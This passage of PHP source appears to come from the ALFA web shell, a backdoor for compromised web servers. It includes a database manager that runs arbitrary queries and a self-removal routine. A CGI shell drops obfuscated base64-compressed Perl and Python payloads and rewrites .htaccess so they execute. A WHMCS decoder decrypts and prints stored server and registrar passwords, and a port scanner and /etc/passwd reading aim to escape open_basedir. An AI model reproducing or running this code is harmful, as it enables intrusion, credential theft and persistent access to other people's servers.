			}
			echo @json_encode($tables);
		}elseif($type == "alter"){
			$db["alter"]["type"] = strtolower($db["alter"]["type"]);
			$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
			$text_input = array("longtext", "text", "mediumtext", "tinytext");
			if(in_array($db["alter"]["type"], $text_input)){
				$inputs = $db["alter"]["type"];
			}
			@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
			$error = @mysqli_error($conn);
			if($error){
				echo $error;
			}else{
				echo "ok";
			}
		}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
			if($type == "edit"){
				$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = \'".addslashes($db["key"])."\' LIMIT 0,1");
				$row = @mysqli_fetch_assoc($q);
				if($row){
					$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");
					$columns = array();
					$edit_data = array();
					while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
						$input = array("col_type" => $row2["COLUMN_TYPE"]);
						$row2["type"] = strtolower($row2["type"]);
						switch($row2["type"]){
							case "longtext": case "text": case "mediumtext": case "tinytext":
								$input["tag"] = "textarea";
							break;
							case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
								$input["tag"] = "input";
								$input["type"] = "number";
							break;
							default:
								$input["tag"] = "input";
								$input["type"] = "text";
						}
						$columns[$row2["name"]] = $input;
					}
					foreach($row as $key => $v){
						$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, \'UTF-8\'), "type" => $columns[$key]);
					}
					echo @json_encode($edit_data);
				}
			}else{
				if($type == "delete_all"){
					$rows = implode("\', \'", $db["rows"]);
				}else{
					$rows = addslashes($db["key"]);
				}
				$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN (\'".$rows."\')";
				@mysqli_query($conn, $query);
				$error = @mysqli_error($conn);
				if($error){
				 	$status = false;
				}else{
				 	$status = true;
				}
				echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
			}
		}elseif($type == "update"){
			$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
			foreach($db["data"] as $col => $val){
				$query .= "`".$col."` = \'".mysqli_real_escape_string($conn, $val)."\',";
			}
			$query = substr($query, 0, -1);
		    $query .= "WHERE `".$db["col_key"]."` = \'".$db["key"]."\'";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}elseif($type == "insert"){
			$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
			foreach($db["data"] as $col => $val){
				$cols .= $col . ",";
				$vals .= "\'".mysqli_real_escape_string($conn, $val)."\',";
			}
			$cols = substr($cols, 0, -1);
			$vals = substr($vals, 0, -1);
			$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}else{
			$pages = 0;
			$title = false;
			$query = "";
			$tbl_content = \'<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';
			$line = 0;
			$tables = array();
			$columns = array();
			if($type == "load_data"){
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
				$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
				$tbl_count = @mysqli_fetch_row($tbl_count_q);
				$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");
				while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
					$columns[] = $row2;
				}
				if($tbl_count[0] > 30){
					$pages = ceil($tbl_count[0] / 30);
				}
			}elseif($type == "query"){
				$query = $db["query"];
			}elseif($type == "page"){
				$db["page"] = (int)$db["page"] - 1;
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
			}elseif($type == "search"){
				$search = "";
				$search_noval = array("= \'\'", "!= \'\'", "IS NULL", "IS NOT NULL");
				foreach($db["search"] as $col => $val){
					$search_noval_r = in_array($val["opt"], $search_noval);
					if(empty($val["value"]) && !$search_noval_r)continue;
					if(strstr($val["opt"], "...") || $search_noval_r){
						$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
						$search .= $col . " " . $val["opt"] . " AND ";
					}else{
						$search .= $col . " " . $val["opt"] . " \'".addslashes($val["value"])."\' AND ";
					}
				}
				$search .= "1=1";
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
			}
			$q_tables = @mysqli_query($conn, $query);
			if(!$q_tables){
				echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
				return false;
			}
			$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = \'".@addslashes($db["db"])."\' AND TABLE_NAME = \'".@addslashes($db["table"])."\' AND COLUMN_KEY = \'PRI\'");
			if($col_key){
				$col_key = @mysqli_fetch_row($col_key);
				$col_key = $col_key[0];
				if(!empty($col_key)){
					$tbl_content = \'<div style="margin-bottom:5px;margin-top:5px;"><button col_key="\'.$col_key.\'" tbl_name="\'.$db["table"].\'" db_id="\'.$db["db_id"].\'" 	db_target="\'.$db["db"].\'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';
				}
			}else{
				$col_key = false;
			}
			while($item = @mysqli_fetch_assoc($q_tables)){
				if(!$title){
					$tbl_content .= \'<tr style="background-color:#305b8e;">\';
					if($col_key){
						$tbl_content .= \'<th style="width: 55px;text-align:center;"><input db_id="\'.$db["db_id"].\'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>\';
					}
					foreach($item as $key => $value){
						$tbl_content .= \'<th>\'.$key.\'</th>\';
					}
					reset($item);
					$title=true;
					$tbl_content .= \'</tr><tr>\';
				}

				if($col_key){
					$cacheMsg = \'<td style="text-align:center;"><input row_id="\'.$line.\'" type="checkbox" name="tbl_rows_checkbox[]" value="\'.$item[$col_key].\'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" row_id="\'.$line.\'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>\';
				}
				$tbl_content .= \'<tr class="tbl_row tbl_row_l\'.$line.\'">\'.$cacheMsg;
				$line++;
				foreach($item as $key => $value){
					if($value == null){
						$tbl_content .= \'<td><i>null</i></td>\';
					}else{
						$tbl_content .= \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
				}
				}
				$tbl_content .= \'</tr>\';
			}
			$tbl_content .= \'</table>\';
			if(!$title){
				$tbl_content = "<div style=\'padding:5px;border:1px dashed;margin:10px;\'>Table is empty...</div>";
			}
			echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
		}
		@mysqli_close($conn);
	}
}
function alfaselfrm(){
if(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'yes\'){
echo(__pre().\'<center>\');
if(@unlink($GLOBALS[\'__file_path\'])){
echo(\'<b>Shell has been removed</i> :)</b>\');
}else{
echo \'unlink error!\';
}
echo(\'</center>\');
}
if(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']!=\'yes\'){
echo "<div class=header>";
echo "
<center><p></p>";
echo \'<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>\';
echo \'</p></center></div>\';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){
$div = "</div>";
echo \'<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>\';
}
if(isset($_POST[\'alfa1\'])&&in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){
@mkdir(\'cgialfa\',0755);
@chdir(\'cgialfa\');
alfacgihtaccess(\'cgi\');
$name = $_POST[\'alfa1\'].\'.alfa\';
$perl = \'#!/usr/bin/perl   -I/usr/local/bandmin\'."
".\'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl/M4gtUekF8u45vDO5DB/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7/OjritQLES4YOAY5udx2sQh/VGrR3qjVl/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g/enE3GZ5Pp5Lfzsb4hzp/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM//N2fDmZno4nr98cAg/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU/GZ68mr/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5/hT2SVy0jxwdZKYr18/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU/fQrOKQES/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2/OTN/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw/jLMGsSKhpbEsIPe1//fLjhtRhahPlowgQ0L1zkz1w4aXOzolN15GChEJ4JcVvs+ybF6E4V1Hl8mppB55qBr0mkfUlvE7xwUUrQIJ9YqsNSxbWJWGPsSKpaOhAMQRUKx47tB8ybOO/OgEPPNmwNXJ04LZYiXoQIYUzJnlsWcUEct8L2EGi3zw5NuLY+i1SRwBZ6OObUKaUQJI+V3CHLotolUNpWTF8mUcOLJcE8/HHu2AY7RLP+VJfgJ9CUHgktEw9GYsJEDsUOWaFKBZ4kWEA4vpdI6uLBIAWggdkWGWp3G0GLWiWZbY8nmwjCGCxBMxAESJMbQE99GQRzgNZPldCCqDJ5LQuxtEYByYglK2ksF5/tKLFogW+8UKrO9ABMchw9eXd8eB4epbnVzd7PAoYunryemJI7yE8rOr7nVHDESUSC8hlBJRGumckgzyx6E/7dFSM7kiI1XSlF8yRkrFLYXEWfIgYFHJOdgig6urHSzc/HUq70sRIpbwR6WVLhr7FKwSTThleZFGog3jCxFpaNcTWEGqzD33Fkx2prU2FvkVVPo16439EIJoDFfvvfYf++3/ddv/ujYt/bHeKSJZMF8/obtQLC22KPftQQyaR3kbDR6QnN3m1jJfhdhQtlt2iJDRcAl6jYY5z0M2OkDBZHZH9k+O9smE7Z+SNjl4dUzOWRoOLYk0FHk0erKGCTSEEiwTabOzTYv1HPyYD0jKF8vcjj+xFAA3A+l224/DOB3s9Pfm827XvuFBvhz0nnWTW7tMTCiLyLc9g6Hto43Kt7dMCAtDnmQ8s2+WPGdt2BI+WBjFN6mX2BuR7+sVlB0etYX8AZRR4A30OYdxsO2FfBENyAqUCZk9i1MICuAktySLQx4QKHX2DLy6SHGmAd9hBYQNDt4E7Nt2tvQC1KMLv8+Aaqc7/qn7bF9xaqdewItsgEvKNtLfQwV+xAy/SDPwEUlijgn4FcdIY4nc6+u6zmiDikHI5nmpSE94YiO2wpXYCnKPXa+VwFJenZcI7sNukpEkcYoF4yEHbHb8VbD+W9xK3/2CKj8QzwekJV4Q8GjRVk7KcqjKA7L35QpDTRC+waBAaD3YyliTlH6NvK5pX1O+FFzTpW7PzpH4KQUPej8Dmkr8vef+3t7zMvG73cfVDvGKPLY3WL5xgw0tuTVnOP3GEdamb1VlcDXW4zkgZAb2qNlCSHToTlf8QGGNE+lKh8IXpkbtU74KtWrfS4ZOFwB0FjCTpkGVrJouVBMlCgJJR1dkOKtKCXiEkcwLSAvS9xPPOHRh8qcAq68XixU0/I4fr4bWbESusf5GeVV/hzl2biLd7NAeDBJSS/QeJT7sJdw/4GihJ34rxzu0D4rmyCJoECmt57DrHPqOpYEXeWVfQhJQo2HXTr8/7vefi5XLSnNysOCqNs5GSm0CtTeC8yxYn8cEmz5LIcA4BHV0iZcH+MDG0mwRR3EM9pZTkNJ7RDutB8YfY9uHOrTiCA/0FfzFrMEUwhpPa3LUDcIJJPgxFgLktdbOUxh28ERXnb9rPWlExBEc4irmEjlH6Cqfuz/9Ai61ddBze9WAKolh5cX3KGrOodWA8yVNfzZnvT2gqalV4l+7GqF2NQ2iM2Y/PA3KleW9Jej8jVWYlhxXX8JOWzdmSFeHSKu7no7u6hux6v/QhOlXE+Y/nU+3o9aPjKJ/a7ICgEweSO46A6wWJbkvp0yoUNvZr/sXZzJfpus97HI2bM6NimQ0oo3ZWD6/S7+USkZiBg65/9GhEHw/juYcdpur76eM3MUFnFvg5VdIAJUBQCQSQk6ARA2Fcw8+7K1Or2M4p1WDJWToPxoqm9eAa+D0SG5cc+2FHqjbNatJUKASduszhiV55d3yVbEiORCTGM6IX7lTzBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy/wXvfv9RRth3DfVFPjhqmLO73WuIw4J/KBqGGQ5xmBn0cx/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz/w8wblS+FRoAAA==")));\';;
$py = \'#!/usr/bin/python\'."
import zlib, base64
".\'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))\';
if($_POST[\'alfa1\']==\'perl\'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo \'<iframe src="\'.__ALFA_DATA_FOLDER__.\'/cgialfa/\'.$name.\'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>\';
}
}
echo $div;
alfafooter();
}
function alfaWhmcs(){
alfahead();
echo \'<div class=header>\';
function decrypt($string,$cc_encryption_hash){
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen ($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = \'\';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if(function_exists(\'sha1\'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = \'\';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
AlfaNum(8,9,10);
echo "<center><br><div class=\'txtfont_header\'>| WHMCS DeCoder |</div><p>".getConfigHtml(\'whmcs\')."</p><form onsubmit=\"g(\'Whmcs\',null,this.form_action.value,\'decoder\',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type=\'hidden\' name=\'form_action\' value=\'2\'>";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'cc_encryption_hash : \', \'inputName\' => \'cc_encryption_hash\', \'id\' => \'cc_encryption_hash\', \'inputValue\' => \'\', \'inputSize\' => \'50\')
);
create_table($table);
echo "<p><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";
if($_POST[\'alfa5\']!=\'\'){
$db_host=($_POST[\'alfa7\']);
$db_username=($_POST[\'alfa3\']);
$db_password=($_POST[\'alfa4\']);
$db_name=($_POST[\'alfa5\']);
$cc_encryption_hash=($_POST[\'alfa6\']);
echo __pre();
$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn,"SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num-1; $i++){
$v = @mysqli_fetch_array($query);
$ipaddress = $v[\'ipaddress\'];
$username = $v[\'username\'];
$type = $v[\'type\'];
$active = $v[\'active\'];
$hostname = $v[\'hostname\'];
echo("<center><table border=\'1\'>");
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysqli_fetch_array($query1);
$registrar = $v[\'registrar\'];
$setting = $v[\'setting\'];
$value = decrypt($v[\'value\'], $cc_encryption_hash);
if ($value==""){
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border=\'1\'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
}else{__alert(\'<font color="red">tblservers is Empty...!</font>\');};
}
echo "</div>";
alfafooter();
}
function alfaportscanner(){
alfahead();
echo \'<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
<form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
<div class="txtfont">Port start: </div> <input id="text" size="5" type="text"  name="start" value="80"/>
<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
</form></center><br>\';
$start = strip_tags($_POST[\'alfa2\']);
$end = strip_tags($_POST[\'alfa3\']);
$host = strip_tags($_POST[\'alfa4\']);
if(isset($_POST[\'alfa4\']) && is_numeric($_POST[\'alfa3\']) && is_numeric($_POST[\'alfa2\'])){
echo __pre();
$packetContent = "GET / HTTP/1.1

";
if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("
","
"), "", $packetContent);
$packetContent = str_replace(array("\r","\n"), array("
", "
"), $packetContent);
}
for($i = $start; $i<=$end; $i++){
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if($sock){
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent."

");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="")$counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
echo "<center><p>Port <font style=\'color:#DE3E3E\'>$i</font> is open</p>";
echo "<p><textarea style=\'height:140px;width:50%;\'>".$bin."</textarea></p></center>";
}
flush();
}
}
echo \'</div>\';
alfafooter();
}
function alfacgihtaccess($m,$d=\'\', $symname=false){
$readme = "";
if($symname){$readme="
ReadmeName ".trim($symname);}
if($m==\'cgi\'){
$code = "#Coded
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .alfa
AddHandler cgi-script .alfa";
}elseif($m==\'sym\'){
$code = "#Coded
Options Indexes FollowSymLinks
DirectoryIndex solevisible.phtm
AddType text/plain php html php4 phtml
AddHandler text/plain php html php4 phtml{$readme}
Options all";
}elseif($m==\'shtml\'){
$code = "Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir(){
alfahead();
echo \'<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>\';
$passwd = _alfa_file(\'/etc/passwd\');
if(is_array($passwd)){
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get(\'open_basedir\');
